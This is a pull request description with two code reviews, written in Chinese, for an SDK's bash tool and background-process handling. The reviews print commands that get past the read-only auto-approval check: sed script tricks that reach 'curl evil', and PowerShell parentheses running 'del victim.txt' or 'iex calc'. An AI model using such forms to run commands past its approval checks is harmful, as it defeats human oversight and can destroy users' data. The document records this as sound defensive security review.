🐛 fix(sdk): bash 与后台进程任务域十一项修复——只读判定 fail-closed、后台超时豁免、存活判定口径

[CavinHuang]

概述

修复 sdk 全量 review 提出的 11 个 issue（bash 工具 + 后台进程任务域），每个 commit 独立可跑绿。

Issue	修复
#300 (P0)	只读判定回退按方言 fail-closed：Bash 非 simple 一律需审批；PowerShell 拒绝集补齐 | & % {} 与 \r\n 换行语句分隔符（review 实测两段式绕过形态已封堵并附红绿负例）
#338 (P2)	黑名单非空且非 simple 直接 fail-closed，$()/反引号/子 shell 藏匿目标命令根除；错误文案不再谎称 prefix 命中
#381 (P1)	run_in_background 未显式传 timeout 不下发超时（spec 省略/direct 不挂 timer/worker spawn 不限时 + setTimeout(undefined) 守卫）——后台 dev server 不再被 120s 静默击杀
#313 (P1)	worker 身份与注册表统一 OS StartTime 口径（worker 异步探测不阻塞启动），±1s 容差兼容存量记录——活任务不再被误判死亡
#368	durable 增量读返回原始 Buffer + StringDecoder 流式解码 end() 补尾，多字节序列跨界乱码消除（210KB 跨块用例钉死）
#329	isPersistedWorkerAlive 先 kill(pid,0) 探活再评估身份，休眠/挂起恢复后运行中任务不再被误标 interrupted
#330	ask-user 等待接线 abortSignal 竞速 + catch 区分 interrupted 与 handler 故障文案
#331	ProcessOutput 阻塞等待传入 context.abortSignal，软中断即返 aborted 不再干等 600s
#332	stopProcessJob 返回布尔成败；ProcessStop 成功才写终态消费通知，失败重探仍活返回 is_error——假已停止消除
#376	进程身份缓存过期即删重探，长驻进程泄漏止住
#377	prepareWorktree 提前到建记录之前，后台任务初始记录带 worktree 元数据

验证

• bun run typecheck 六 workspace 全绿
• sdk tools 全目录 229 pass / 0 fail；bash + process-job-registry 单独 33 pass
• 独立 code review 两轮通过：首轮抓出 PowerShell 换行语句分隔符绕过（实测复现）已修复封堵；复核确认 4 个攻击形态全灭、单行正例零回归、rebase 后其余 commit 已审内容原样平移

Closes #300, closes #338, closes #368, closes #381, closes #313, closes #329, closes #330, closes #331, closes #332, closes #376, closes #377

🤖 Generated with Claude Code

[CavinHuang]

Code Review

十一项逐项核对完毕，十项半真实落地、测试为行为钉死型，质量高。唯一阻塞动作是 rebase 解决与 main #443 的 #381 超时语义分叉。

冲突分析（merge-tree 复现：2 文件 7 hunk）

• [高] bash.ts call() 超时计算：main 侧（🔒 fix(sdk): LSP 环境收敛 + 后台命令超时语义(#380/#381) #443）「前后台都不设默认超时」vs PR 侧「前台保留 120s 默认仅后台豁免」。采 main 侧语义——[P1][sdk/bash] run_in_background 后台命令仍受前台默认 120s 超时约束，dev server 会被静默击杀 #381 已被 🔒 fix(sdk): LSP 环境收敛 + 后台命令超时语义(#380/#381) #443 以更强语义修复，若按 PR 侧解决，dev server 转 background 仍会在 120s 被静默击杀。resolveBashTimeoutMs 退化为无显式 timeout 一律 undefined，且新增测试中 ${{run_in_background:false}}→120_000 两行断言必须翻转。
• 务必保留 PR 侧的一处：direct-path setTimeout(() => stop('timeout'), timeoutMs) 的守卫版——main 🔒 fix(sdk): LSP 环境收敛 + 后台命令超时语义(#380/#381) #443 漏改该行致 timeoutMs === undefined 时立即触发（已开 issue 🐛 [P2] #443 隐藏回归:bash direct-path 定时器未守卫 undefined,无 artifactsRoot 场景所有命令秒被杀 #454），PR 恰好独立修掉了这个 main 隐藏回归。
• 其余 5 hunk（签名等价类型/注释语言/worker 条件化）零语义风险。

[P1·存在于 main] sed 只读白名单两条绕过（本机 natives 实测复现）

1. sed -f payload.sed README → isReadOnly true：脚本文件内容完全不检，payload 可 w file 写盘/e cmd 执行
2. X='s/.*/curl evil/e' sed $X README → true：前置赋值被 native tokenizer 剥出 argv，运行期展开任意脚本

危害路径=default/acceptEdits/plan 对 readonly 自动 allow。已开 issue #453（附 excludedCommands wrapper 绕过 env/command/xargs）。

非阻塞 P3

• abort handler 自身 reject Error('aborted') 会误分类为中断
• prepareWorktree 抛出时 parentAbortHandler 泄漏至 run 结束
• 平台脆弱断言 expect("git status").toBe(nativeBashAvailable)

rebase 后过 gate 即可合。

[CavinHuang]

Code Review

十一项中十项半落地扎实、测试质量高(#313 用真实 spawn 双端验证身份一致性),但有一个实测复现的 P1 安全绕过 + 与 main 平行实现的语义分叉,需修后再合。

[P1·安全] PowerShell 白名单拒绝集漏圆括号,#300 修复可被绕过

$( 已拒但裸 ( / @( 未拒——PowerShell 参数位圆括号按表达式模式求值,可执行任意代码。分支正则原样实测复现:

powershell -Command Get-Date (del victim.txt)   # 判只读 ✗
Get-ChildItem @(iex calc)                        # 判只读 ✗

(del/iex 是别名,动词黑名单只扫全名,整串扫描也拦不住。)影响与 #300 同类:plan/default 模式免审批任意执行。修法一行:拒绝字符类补 [()] 并附上述红例。

[P2] #381 与 main 已落地实现(PR#443)语义分叉

merge-tree 实测冲突:bash.ts(4 处)、process-job-worker.ts(1 处)。关键取舍:

1. timeoutMs 计算(bash.ts:89-98):main 版=未显式传一律无超时(前台默认 120s 已删);分支版=前台保 120s、后台豁免。建议取 main 计算式(尊重先行落地决策),但保留分支的条件化定时器守卫——main 当前 startDirectShellTask(:463)仍无条件 setTimeout(fn, timeoutMs),setTimeout(fn, undefined) ≈1ms 即触发,直连 SDK 宿主无 artifactsRoot/sessionId 时所有默认 Bash 会被立即击杀;分支守卫恰好修掉它。随后删除 resolveBashTimeoutMs 导出。
2. 三处类型注解(timeoutMs? vs number | undefined)任取随 main;两处重复注释留一条;worker 超时守卫 truthy vs >0 等价任取。
3. bash.test.ts 虽文本自动合并但有语义矛盾:分支测试钉死 resolveBashTimeoutMs({})===120_000,若取 main 语义必须同步改写,不能因文本无冲突放过。

其余核对结论(全部通过)

#338 黑名单藏匿(complex 直接拒+文案不再谎称 prefix)/#313 身份口径(OS StartTime 异步探测±1s 容差,win32 双侧真实 spawn 测试)/#368 多字节跨界(StringDecoder 全链路 210KB 无 U+FFFD)/#329 探活顺序(kill(pid,0) 先行)/#330 ask-user 中止/#331 ProcessOutput 软中断/#332 stop 假终态(布尔返回+失败重探)/#376 身份缓存过期逐出/#377 worktree 提前。

P3 残留(不阻断):worker 身份探测永久失败时 alive 兜底的"假活"窄窗;taskkill 异步结果未确认;永不重读的缓存条目留到 clearProcessJobs。

结论

修掉圆括号绕过(P1,一行)+ 完成 #381 语义取舍后可合。